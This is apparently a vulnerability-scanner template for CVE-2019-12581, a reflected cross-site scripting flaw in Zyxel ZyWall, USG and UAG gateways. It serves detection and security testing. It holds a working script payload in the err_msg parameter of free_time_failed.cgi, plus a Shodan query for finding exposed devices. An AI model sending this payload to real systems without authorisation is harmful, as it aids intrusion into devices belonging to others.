id: CVE-2019-12581

info:
  name: Zyxel ZyWall / USG / UAG - Reflected Cross-site scripting
  author: n-thumann
  severity: medium
  description: A reflective Cross-site scripting (XSS) vulnerability in the free_time_failed.cgi CGI program in selected Zyxel ZyWall, USG, and UAG devices allows remote attackers to inject arbitrary web script or HTML via the err_msg parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12581
    - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
    - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12581
    cwe-id: CWE-79
  metadata:
    shodan-query: http.title:"ZyWall"
  tags: cve,cve2019,zyxel,zywall,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "Please contact with administrator."
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200